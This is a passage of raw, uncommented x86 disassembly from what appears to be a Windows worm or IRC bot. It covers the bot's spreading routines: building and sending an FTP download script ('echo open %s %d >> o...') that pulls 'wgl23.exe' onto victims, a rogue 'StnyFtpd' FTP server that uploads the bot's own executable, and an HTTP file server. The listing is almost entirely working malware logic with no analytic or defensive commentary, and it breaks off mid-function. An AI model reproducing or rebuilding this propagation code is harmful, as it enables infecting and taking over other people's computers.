WSAGetLastError cmp eax, 2740h jz short loc_40F2BF xor esi, esi cmp [ebp+var_1C], esi jnz short loc_40F29F push esi ; int lea eax, [ebp+var_2C0] push [ebp+var_20] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_B0] ; int call sub_409D6C add esp, 14h loc_40F29F: ; CODE XREF: sub_40F198+E5j lea eax, [ebp+var_2C0] push eax call sub_415C77 push [ebp+var_AC] call sub_40BAAA pop ecx pop ecx push esi call ds:dword_4F63D4 ; ExitThread loc_40F2BF: ; CODE XREF: sub_40F198+DEj push 0FFFEh push ebx call sub_419589 pop ecx mov dword_4E6F94, eax pop ecx mov [ebp+var_12], ax lea eax, [ebp+Dst] push 10h push eax push edi call dword_4E424C ; bind cmp eax, esi jnz short loc_40F33A call dword_4E41B4 ; WSAGetLastError xor esi, esi cmp [ebp+var_1C], esi jnz short loc_40F31A cmp eax, 2740h jz short loc_40F31A push esi ; int lea eax, [ebp+var_2C0] push [ebp+var_20] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_B0] ; int call sub_409D6C add esp, 14h loc_40F31A: ; CODE XREF: sub_40F198+159j ; sub_40F198+160j lea eax, [ebp+var_2C0] push eax call sub_415C77 push [ebp+var_AC] call sub_40BAAA pop ecx pop ecx push esi call ds:dword_4F63D4 ; ExitThread loc_40F33A: ; CODE XREF: sub_40F198+CDj ; sub_40F198+14Cj push 5 push edi call dword_4E4248 ; listen cmp eax, esi jz loc_40F41F mov [ebp+var_4], 10h mov esi, offset Str ; "wgl23.exe" loc_40F357: ; CODE XREF: sub_40F198+1D7j ; sub_40F198+227j ... lea eax, [ebp+var_4] push eax lea eax, [ebp+var_C0] push eax push edi call dword_4E42B4 ; accept cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_40F357 cmp [ebp+var_1C], 0 jnz short loc_40F398 push 0 ; int lea eax, [ebp+var_2C0] push [ebp+var_20] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_B0] ; int call sub_409D6C add esp, 14h loc_40F398: ; CODE XREF: sub_40F198+1DDj lea eax, [ebp+var_2C0] push eax call sub_415C77 pop ecx lea eax, [ebp+var_2C0] push 0 push 200h push eax push [ebp+arg_0] call dword_4E4238 ; recv cmp eax, 0FFFFFFFFh jz short loc_40F357 push esi push esi push dword_4E3F28 push [ebp+var_B0] call sub_40AFA9 pop ecx push eax push offset aEchoOpenSDOEch ; "echo open %s %d >> o&echo user 1 >>o &e"... lea eax, [ebp+Dest] push ebx ; Count push eax ; Dest call __snprintf add esp, 1Ch lea eax, [ebp+Dest] push 0 push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Dest] push eax push [ebp+arg_0] call dword_4E4270 ; send cmp eax, 0FFFFFFFFh jz loc_40F357 inc dword_4E6F9C jmp loc_40F357 ; --------------------------------------------------------------------------- loc_40F41F: ; CODE XREF: sub_40F198+1ADj push edi call dword_4E42B8 ; closesocket push [ebp+var_AC] call sub_40BAAA pop ecx push 0 call ds:dword_4F63D4 ; ExitThread sub_40F198 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F43A proc near ; DATA XREF: sub_40C165+22Ao var_A70 = byte ptr -0A70h var_8E0 = dword ptr -8E0h var_6E0 = dword ptr -6E0h var_4C8 = byte ptr -4C8h var_448 = dword ptr -448h var_444 = dword ptr -444h var_43C = dword ptr -43Ch var_338 = byte ptr -338h var_2D4 = byte ptr -2D4h Dst = byte ptr -2A0h var_23C = byte ptr -23Ch var_22C = dword ptr -22Ch var_228 = dword ptr -228h Str = byte ptr -128h Dest = byte ptr -0FCh var_C8 = byte ptr -0C8h Str1 = byte ptr -0B0h var_4C = word ptr -4Ch var_4A = word ptr -4Ah var_48 = dword ptr -48h var_3C = byte ptr -3Ch var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A70h mov eax, [ebp+arg_0] push ebx push esi push edi push 1 mov ecx, 0A9h mov esi, eax lea edi, [ebp+var_6E0] pop ebx rep movsd mov [eax+2A0h], ebx lea eax, [ebp+var_A70] xor esi, esi push eax push 101h mov [ebp+var_1C], ebx mov [ebp+var_2C], ebx mov [ebp+var_24], ebx mov [ebp+var_22C], esi mov [ebp+var_43C], esi call ds:dword_4F6540 ; WSAStartup push esi push ebx push 2 call ds:dword_4F6570 ; socket mov esi, ds:dword_4F6544 lea ecx, [ebp+var_1C] push 4 push ecx mov edi, 0FFFFh push 4 push edi push eax mov [ebp+var_8], eax call esi ; setsockopt lea eax, [ebp+var_2C] push 4 push eax push 0FFFFFFFBh push edi mov edi, [ebp+var_8] push edi call esi ; setsockopt lea eax, [ebp+var_24] push eax push 8004667Eh push edi call ds:dword_4F6548 ; ioctlsocket mov ax, word ptr dword_4E3F28 and [ebp+var_48], 0 push eax mov [ebp+var_4C], 2 call dword_4E4220 ; htons mov [ebp+var_4A], ax lea eax, [ebp+var_4C] push 10h push eax push edi call ds:dword_4F654C ; bind test eax, eax jge short loc_40F500 mov eax, ebx jmp loc_40FA6A ; --------------------------------------------------------------------------- loc_40F500: ; CODE XREF: sub_40F43A+BDj push 0Ah push edi call ds:dword_4F6584 ; listen mov [ebp+var_22C], ebx mov ebx, ds:dword_4F6574 mov [ebp+var_228], edi mov [ebp+var_4], edi loc_40F51E: ; CODE XREF: sub_40F43A+11Dj ; sub_40F43A+628j push 41h lea esi, [ebp+var_22C] pop ecx lea edi, [ebp+var_43C] rep movsd xor esi, esi lea eax, [ebp+var_43C] push esi push esi push esi push eax mov eax, [ebp+var_4] inc eax push eax call ds:dword_4F6578 ; select cmp eax, 0FFFFFFFFh jz loc_40FA67 xor edi, edi cmp [ebp+var_4], esi mov [ebp+arg_0], edi jl short loc_40F51E loc_40F559: ; CODE XREF: sub_40F43A+622j xor esi, esi push 64h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset push 64h ; Size lea eax, [ebp+Str1] push esi ; Val push eax ; Dst call _memset add esp, 18h lea eax, [ebp+var_43C] push eax push edi call sub_43B892 ; __WSAFDIsSet test eax, eax jz loc_40FA55 cmp edi, [ebp+var_8] jnz short loc_40F610 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_23C] push eax push [ebp+var_8] call ds:dword_4F6554 ; accept cmp eax, 0FFFFFFFFh jz loc_40FA55 xor ecx, ecx cmp [ebp+var_22C], esi jbe short loc_40F5DA lea edx, [ebp+var_228] loc_40F5CA: ; CODE XREF: sub_40F43A+19Ej cmp [edx], eax jz short loc_40F5DA inc ecx add edx, 4 cmp ecx, [ebp+var_22C] jb short loc_40F5CA loc_40F5DA: ; CODE XREF: sub_40F43A+188j ; sub_40F43A+192j cmp ecx, [ebp+var_22C] jnz short loc_40F5F8 cmp [ebp+var_22C], 40h jnb short loc_40F5F8 mov [ebp+ecx*4+var_228], eax inc [ebp+var_22C] loc_40F5F8: ; CODE XREF: sub_40F43A+1A6j ; sub_40F43A+1AFj cmp eax, [ebp+var_4] jle short loc_40F600 mov [ebp+var_4], eax loc_40F600: ; CODE XREF: sub_40F43A+1C1j push esi push 15h push offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n" push eax call ebx ; send jmp loc_40FA55 ; --------------------------------------------------------------------------- loc_40F610: ; CODE XREF: sub_40F43A+15Aj push esi lea eax, [ebp+Dst] push 64h push eax push edi call ds:dword_4F6568 ; recv test eax, eax jg short loc_40F677 mov edx, [ebp+var_22C] xor ecx, ecx cmp edx, esi jbe short loc_40F66B lea eax, [ebp+var_228] loc_40F637: ; CODE XREF: sub_40F43A+207j cmp [eax], edi jz short loc_40F645 inc ecx add eax, 4 cmp ecx, edx jb short loc_40F637 jmp short loc_40F66B ; --------------------------------------------------------------------------- loc_40F645: ; CODE XREF: sub_40F43A+1FFj dec edx cmp ecx, edx jnb short loc_40F665 lea eax, [ebp+ecx*4+var_228] loc_40F651: ; CODE XREF: sub_40F43A+229j mov edx, [eax+4] inc ecx mov [eax], edx mov edx, [ebp+var_22C] add eax, 4 dec edx cmp ecx, edx jb short loc_40F651 loc_40F665: ; CODE XREF: sub_40F43A+20Ej dec [ebp+var_22C] loc_40F66B: ; CODE XREF: sub_40F43A+1F5j ; sub_40F43A+209j push edi call ds:dword_4F656C ; closesocket jmp loc_40FA55 ; --------------------------------------------------------------------------- loc_40F677: ; CODE XREF: sub_40F43A+1E9j lea eax, [ebp+var_338] push eax lea eax, [ebp+Str1] push eax lea eax, [ebp+Dst] push offset aSS_3 ; "%s %s" push eax ; Src call _sscanf lea eax, [ebp+Str1] push offset aUser_1 ; "USER" push eax ; Str1 call _strcmp add esp, 18h test eax, eax jnz short loc_40F6BB push esi push 16h push offset a331PasswordReq ; "331 Password required\n" jmp loc_40FA40 ; --------------------------------------------------------------------------- loc_40F6BB: ; CODE XREF: sub_40F43A+272j lea eax, [ebp+Str1] push offset aPass ; "PASS" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40F6DF push esi push 14h push offset a230UserLoggedI ; "230 User logged in.\n" jmp loc_40FA40 ; --------------------------------------------------------------------------- loc_40F6DF: ; CODE XREF: sub_40F43A+296j lea eax, [ebp+Str1] push offset aSyst ; "SYST" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40F703 push esi push 0Dh push offset a215Stnyftpd ; "215 StnyFtpd\n" jmp loc_40FA40 ; --------------------------------------------------------------------------- loc_40F703: ; CODE XREF: sub_40F43A+2BAj lea eax, [ebp+Str1] push offset aRest ; "REST" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40F727 push esi push 10h push offset a350Restarting_ ; "350 Restarting.\n" jmp loc_40FA40 ; --------------------------------------------------------------------------- loc_40F727: ; CODE XREF: sub_40F43A+2DEj lea eax, [ebp+Str1] push offset off_44B5D8 ; Str2 push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40F74B push esi push 1Eh push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n" jmp loc_40FA40 ; --------------------------------------------------------------------------- loc_40F74B: ; CODE XREF: sub_40F43A+302j lea eax, [ebp+Str1] push offset aType ; "TYPE" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40F786 lea eax, [ebp+var_338] push offset aA_0 ; "A" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40F786 push esi push 13h push offset a200TypeSetToA_ ; "200 Type set to A.\n" jmp loc_40FA40 ; --------------------------------------------------------------------------- loc_40F786: ; CODE XREF: sub_40F43A+326j ; sub_40F43A+33Dj lea eax, [ebp+Str1] push offset aType_0 ; "TYPE" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40F7C1 lea eax, [ebp+var_338] push offset aI ; "I" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40F7C1 push esi push 13h push offset a200TypeSetToI_ ; "200 Type set to I.\n" jmp loc_40FA40 ; --------------------------------------------------------------------------- loc_40F7C1: ; CODE XREF: sub_40F43A+361j ; sub_40F43A+378j lea eax, [ebp+Str1] push offset aPasv ; "PASV" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40F80F push 0Ah mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"... pop ecx lea edi, [ebp+Str] rep movsd push eax lea eax, [ebp+Str] push eax ; Str movsw call _strlen pop ecx push eax lea eax, [ebp+Str] loc_40F7FF: ; CODE XREF: sub_40F43A+414j push eax push [ebp+arg_0] call ebx ; send xor esi, esi loc_40F807: ; CODE XREF: sub_40F43A+4E7j mov edi, [ebp+arg_0] jmp loc_40FA43 ; --------------------------------------------------------------------------- loc_40F80F: ; CODE XREF: sub_40F43A+39Cj lea eax, [ebp+Str1] push offset aList_0 ; "LIST" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40F850 push 5 mov esi, offset a226TransferCom ; "226 Transfer complete\n" pop ecx lea edi, [ebp+var_C8] rep movsd movsw push eax lea eax, [ebp+var_C8] push eax ; Str movsb call _strlen pop ecx push eax lea eax, [ebp+var_C8] jmp short loc_40F7FF ; --------------------------------------------------------------------------- loc_40F850: ; CODE XREF: sub_40F43A+3EAj lea eax, [ebp+Str1] push offset aPort ; "PORT" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz loc_40F926 lea eax, [ebp+var_2D4] push eax lea eax, [ebp+Dest] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_28] push eax lea eax, [ebp+Dst] push offset aS_24 ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"... push eax ; Src call _sscanf lea eax, [ebp+Dest] push eax ; Str call _atoi mov edi, eax lea eax, [ebp+var_2D4] push eax ; Str call _atoi mov [ebp+var_C], eax push 32h ; Size lea eax, [ebp+Dest] push esi ; Val push eax ; Dst call _memset add esp, 34h lea eax, [ebp+Dest] push [ebp+var_C] push edi push offset aXX ; "%x%x\n" push eax ; Dest call _sprintf push 10h ; Radix lea eax, [ebp+Dest] push esi ; EndPtr push eax ; Str call _strtoul add esp, 1Ch mov [ebp+var_C], eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_28] push eax lea eax, [ebp+var_3C] push offset aS_S_S_S ; "%s.%s.%s.%s" push eax ; Dest call _sprintf add esp, 18h push esi push 1Dh push offset a200PortCommand ; "200 PORT command successful.\n" push [ebp+arg_0] call ebx ; send jmp loc_40F807 ; --------------------------------------------------------------------------- loc_40F926: ; CODE XREF: sub_40F43A+42Bj lea eax, [ebp+Str1] push offset aRetr ; "RETR" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz loc_40FA21 push esi push 28h push offset a150OpeningBina ; "150 Opening BINARY mode data connection"... push edi call ebx ; send push [ebp+var_C] lea eax, [ebp+var_3C] push eax call sub_40FA71 pop ecx cmp eax, 1 pop ecx jnz loc_40FA17 lea eax, [ebp+var_3C] push eax lea eax, [ebp+var_8E0] push offset aFtpTransferSta ; "ftp transfer started to: %s" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_444], esi jnz short loc_40F9A6 push esi ; int lea eax, [ebp+var_8E0] push [ebp+var_448] ; int push eax ; int lea eax, [ebp+var_4C8] push eax ; Str push [ebp+var_6E0] ; int call sub_409D6C add esp, 14h loc_40F9A6: ; CODE XREF: sub_40F43A+547j call sub_40FAEE cmp eax, 1 jnz loc_40FA43 push esi push 17h push offset a226TransferC_0 ; "226 Transfer complete.\n" push edi call ebx ; send lea eax, [ebp+var_3C] push eax lea eax, [ebp+var_8E0] push offset aFtpTransferCom ; "ftp transfer complete to: %s" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_444], esi jnz short loc_40FA02 push esi ; int lea eax, [ebp+var_8E0] push [ebp+var_448] ; int push eax ; int lea eax, [ebp+var_4C8] push eax ; Str push [ebp+var_6E0] ; int call sub_409D6C add esp, 14h loc_40FA02: ; CODE XREF: sub_40F43A+5A3j lea eax, [ebp+var_8E0] push eax call sub_415C77 inc dword_4E6D40 pop ecx jmp short loc_40FA43 ; --------------------------------------------------------------------------- loc_40FA17: ; CODE XREF: sub_40F43A+523j push esi push 20h push offset a425CanTOpenDat ; "425 Can't open data connection.\n" jmp short loc_40FA40 ; --------------------------------------------------------------------------- loc_40FA21: ; CODE XREF: sub_40F43A+501j lea eax, [ebp+Str1] push offset aQuit_1 ; "QUIT" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40FA43 push esi push 1Bh push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n" loc_40FA40: ; CODE XREF: sub_40F43A+27Cj ; sub_40F43A+2A0j ... push edi call ebx ; send loc_40FA43: ; CODE XREF: sub_40F43A+3D0j ; sub_40F43A+574j ... push 64h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset add esp, 0Ch loc_40FA55: ; CODE XREF: sub_40F43A+151j ; sub_40F43A+17Aj ... inc edi cmp edi, [ebp+var_4] mov [ebp+arg_0], edi jle loc_40F559 jmp loc_40F51E ; --------------------------------------------------------------------------- loc_40FA67: ; CODE XREF: sub_40F43A+10Fj push 1 pop eax loc_40FA6A: ; CODE XREF: sub_40F43A+C1j pop edi pop esi pop ebx leave retn 4 sub_40F43A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FA71 proc near ; CODE XREF: sub_40F43A+519p var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp+var_1A0] push eax push 101h call ds:dword_4F6540 ; WSAStartup push 0 push 1 push 2 call ds:dword_4F6570 ; socket push [ebp+arg_0] mov dword_4E6FA0, eax mov [ebp+var_10], 2 call ds:dword_4F655C ; inet_addr push [ebp+arg_4] mov [ebp+var_C], eax call ds:dword_4F6560 ; htons mov [ebp+var_E], ax lea eax, [ebp+var_10] push 10h push eax push dword_4E6FA0 call ds:dword_4F6564 ; connect cmp eax, 0FFFFFFFFh jnz short loc_40FAE9 push dword_4E6FA0 call ds:dword_4F656C ; closesocket call ds:dword_4F653C ; WSACleanup xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40FAE9: ; CODE XREF: sub_40FA71+60j push 1 pop eax leave retn sub_40FA71 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FAEE proc near ; CODE XREF: sub_40F43A:loc_40F9A6p DstBuf = byte ptr -504h Filename = byte ptr -104h push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp+Filename] push 104h push eax push 0 call ds:dword_4F6378 ; GetModuleFileNameA lea eax, [ebp+Filename] push offset aRb ; "rb" push eax ; Filename call _fopen mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40FB85 test byte ptr [esi+0Ch], 10h jnz short loc_40FB69 push edi mov edi, 400h loc_40FB31: ; CODE XREF: sub_40FAEE+78j push esi ; File push 1 ; Count lea eax, [ebp+DstBuf] push edi ; ElementSize push eax ; DstBuf call sub_41EFA0 add esp, 10h lea eax, [ebp+DstBuf] push 0 push edi push eax push dword_4E6FA0 call ds:dword_4F6574 ; send push 1 call ds:dword_4F6380 ; Sleep test byte ptr [esi+0Ch], 10h jz short loc_40FB31 pop edi loc_40FB69: ; CODE XREF: sub_40FAEE+3Bj push esi ; File call _fclose pop ecx push dword_4E6FA0 call ds:dword_4F656C ; closesocket call ds:dword_4F653C ; WSACleanup push 1 pop eax loc_40FB85: ; CODE XREF: sub_40FAEE+35j pop esi leave retn sub_40FAEE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FB88 proc near ; DATA XREF: sub_401CC7+2243o ; sub_40C165+475o Str = byte ptr -28F0h Str1 = byte ptr -18F0h Dest = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_34 = byte ptr -34h Dst = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call __alloca_probe mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] push 1 rep movsd pop esi xor ebx, ebx mov [eax+3ACh], esi push 10h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst mov [ebp+var_14], esi call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+var_25C] call dword_4E4220 ; htons push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call dword_4E42A0 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_C], edi jz loc_40FF79 mov eax, [ebp+var_254] push 10h imul eax, 234h mov dword_457134[eax], edi lea eax, [ebp+Dst] push eax push edi call dword_4E424C ; bind cmp eax, 0FFFFFFFFh jz loc_40FF79 push 7FFFFFFFh push edi call dword_4E4248 ; listen cmp eax, 0FFFFFFFFh jz loc_40FF79 lea eax, [ebp+var_14] push eax push 8004667Eh push edi call dword_4E42BC ; ioctlsocket cmp eax, 0FFFFFFFFh jz loc_40FF79 mov ebx, esi mov [ebp+var_134], edi mov [ebp+var_138], ebx mov [ebp+var_8], edi loc_40FC5F: ; CODE XREF: sub_40FB88+3E7j push 41h xor eax, eax pop ecx lea esi, [ebp+var_138] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_8] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call dword_4E4208 ; select cmp eax, 0FFFFFFFFh jz loc_40FF74 xor esi, esi mov [ebp+var_4], esi loc_40FC95: ; CODE XREF: sub_40FB88+3E1j lea eax, [ebp+var_6F0] push eax push esi call dword_4E410C ; __WSAFDIsSet test eax, eax jz loc_40FF5F cmp esi, [ebp+var_C] jnz short loc_40FD17 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_34] push eax push [ebp+var_C] call dword_4E42B4 ; accept cmp eax, 0FFFFFFFFh jz loc_40FF5F xor ecx, ecx test ebx, ebx jbe short loc_40FCE9 lea edx, [ebp+var_134] loc_40FCDD: ; CODE XREF: sub_40FB88+15Fj cmp [edx], eax jz short loc_40FCE9 inc ecx add edx, 4 cmp ecx, ebx jb short loc_40FCDD loc_40FCE9: ; CODE XREF: sub_40FB88+14Dj ; sub_40FB88+157j cmp ecx, ebx jnz short loc_40FD06 cmp ebx, 40h jnb short loc_40FD06 mov [ebp+ecx*4+var_134], eax mov ebx, [ebp+var_138] inc ebx mov [ebp+var_138], ebx loc_40FD06: ; CODE XREF: sub_40FB88+163j ; sub_40FB88+168j cmp eax, [ebp+var_8] jbe loc_40FF5F mov [ebp+var_8], eax jmp loc_40FF5F ; --------------------------------------------------------------------------- loc_40FD17: ; CODE XREF: sub_40FB88+126j mov edi, 1000h lea eax, [ebp+Str] push edi ; Size push 0 ; Val push eax ; Dst call _memset push edi ; Size lea eax, [ebp+Str1] push 0 ; Val push eax ; Dst call _memset add esp, 18h lea eax, [ebp+Str] push 0 push edi push eax push esi call dword_4E4238 ; recv test eax, eax jg short loc_40FDAA push esi call dword_4E42B8 ; closesocket xor ecx, ecx test ebx, ebx jbe loc_40FF5F lea eax, [ebp+var_134] loc_40FD69: ; CODE XREF: sub_40FB88+1EBj cmp [eax], esi jz short loc_40FD7A inc ecx add eax, 4 cmp ecx, ebx jb short loc_40FD69 jmp loc_40FF5F ; --------------------------------------------------------------------------- loc_40FD7A: ; CODE XREF: sub_40FB88+1E3j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40FD9E lea eax, [ebp+ecx*4+var_134] loc_40FD88: ; CODE XREF: sub_40FB88+214j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40FD88 loc_40FD9E: ; CODE XREF: sub_40FB88+1F7j dec ebx mov [ebp+var_138], ebx jmp loc_40FF5F ; --------------------------------------------------------------------------- loc_40FDAA: ; CODE XREF: sub_40FB88+1C8j xor esi, esi push 104h ; Size lea eax, [ebp+var_23C] push esi ; Val push eax ; Dst call _memset lea eax, [ebp+Str] mov [ebp+arg_0], esi push eax ; Str call _strlen add esp, 10h test eax, eax jbe loc_40FF5F loc_40FDD8: ; CODE XREF: sub_40FB88+30Fj mov eax, [ebp+arg_0] mov al, [ebp+eax+Str] cmp al, 0Ah mov [ebp+esi+Str1], al jnz loc_40FE83 lea eax, [ebp+Str1] push offset aGet_0 ; "GET " push eax ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_40FE57 lea eax, [ebp+Str1] push eax ; Str call _strlen cmp eax, 5 pop ecx jbe short loc_40FE57 push offset asc_44B7D0 ; " " push offset asc_44B7D4 ; " " lea eax, [ebp+Str1] push offset aGet_1 ; "GET " push eax ; Str call _strstr pop ecx pop ecx push eax ; Str call _strstr pop ecx pop ecx push eax ; Str call _strtok push eax ; Source lea eax, [ebp+var_23C] push eax ; Dest call _strcpy add esp, 10h jmp short loc_40FE6E ; --------------------------------------------------------------------------- loc_40FE57: ; CODE XREF: sub_40FB88+27Ej ; sub_40FB88+290j lea eax, [ebp+Str1] push offset asc_44B7E0 ; "\r\n" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_40FEA2 loc_40FE6E: ; CODE XREF: sub_40FB88+2CDj push edi ; Size lea eax, [ebp+Str1] push 0 ; Val push eax ; Dst call _memset add esp, 0Ch or esi, 0FFFFFFFFh loc_40FE83: ; CODE XREF: sub_40FB88+263j inc [ebp+arg_0] lea eax, [ebp+Str] push eax ; Str inc esi call _strlen cmp [ebp+arg_0], eax pop ecx jb loc_40FDD8 jmp loc_40FF5F ; --------------------------------------------------------------------------- loc_40FEA2: ; CODE XREF: sub_40FB88+2E4j xor ecx, ecx test ebx, ebx jbe short loc_40FEEC lea eax, [ebp+var_134] loc_40FEAE: ; CODE XREF: sub_40FB88+333j mov esi, [ebp+var_4] cmp [eax], esi jz short loc_40FEBF inc ecx add eax, 4 cmp ecx, ebx jb short loc_40FEAE jmp short loc_40FEEF ; --------------------------------------------------------------------------- loc_40FEBF: ; CODE XREF: sub_40FB88+32Bj lea eax, [ebx-1] cmp ecx, eax jnb short loc_40FEE3 lea eax, [ebp+ecx*4+var_134] loc_40FECD: ; CODE XREF: sub_40FB88+359j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40FECD loc_40FEE3: ; CODE XREF: sub_40FB88+33Cj dec ebx mov [ebp+var_138], ebx jmp short loc_40FEEF ; --------------------------------------------------------------------------- loc_40FEEC: ; CODE XREF: sub_40FB88+31Ej mov esi, [ebp+var_4] loc_40FEEF: ; CODE XREF: sub_40FB88+335j ; sub_40FB88+362j lea eax, [ebp+var_23C] test eax, eax jz short loc_40FF58 lea eax, [ebp+var_360] push eax ; Str call _strlen mov edi, eax lea eax, [ebp+var_23C] push eax ; Str call _strlen add edi, eax pop ecx cmp edi, 104h pop ecx jnb short loc_40FF58 and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax push 8004667Eh push esi call dword_4E42BC ; ioctlsocket push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push esi call sub_41016C add esp, 14h jmp short loc_40FF5F ; --------------------------------------------------------------------------- loc_40FF58: ; CODE XREF: sub_40FB88+36Fj ; sub_40FB88+395j push esi call dword_4E42B8 ; closesocket loc_40FF5F: ; CODE XREF: sub_40FB88+11Dj ; sub_40FB88+143j ... mov esi, [ebp+var_4] inc esi cmp esi, [ebp+var_8] mov [ebp+var_4], esi jbe loc_40FC95 jmp loc_40FC5F ; --------------------------------------------------------------------------- loc_40FF74: ; CODE XREF: sub_40FB88+102j mov edi, [ebp+var_C] xor ebx, ebx loc_40FF79: ; CODE XREF: sub_40FB88+6Aj ; sub_40FB88+92j ... call dword_4E41B4 ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset asc_44B7E4 ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_40FFBF push ebx ; int lea eax, [ebp+Dest] push [ebp+var_250] ; int push eax ; int lea eax, [ebp+var_5E8] push eax ; Str push [ebp+var_5EC] ; int call sub_409D6C add esp, 14h loc_40FFBF: ; CODE XREF: sub_40FB88+412j lea eax, [ebp+Dest] push eax call sub_415C77 pop ecx push edi call dword_4E42B8 ; closesocket push [ebp+var_254] call sub_40BAAA pop ecx push ebx call ds:dword_4F63D4 ; ExitThread pop edi pop esi pop ebx sub_40FB88 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FFE9 proc near ; DATA XREF: sub_41016C+24Do Str = byte ptr -1654h Source = byte ptr -654h Dest = byte ptr -550h var_44C = dword ptr -44Ch Format = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1654h call __alloca_probe mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+Format] push eax ; Format lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx lea eax, [ebp+var_2C4] pop ecx push eax ; Format lea eax, [ebp+Source] push eax ; Dest call _sprintf xor edi, edi pop ecx cmp [ebp+var_A4], edi pop ecx jz short loc_41004F push offset aTextHtml ; "text/html" jmp short loc_410054 ; --------------------------------------------------------------------------- loc_41004F: ; CODE XREF: sub_40FFE9+5Dj push offset aApplicationOct ; "application/octet-stream" loc_410054: ; CODE XREF: 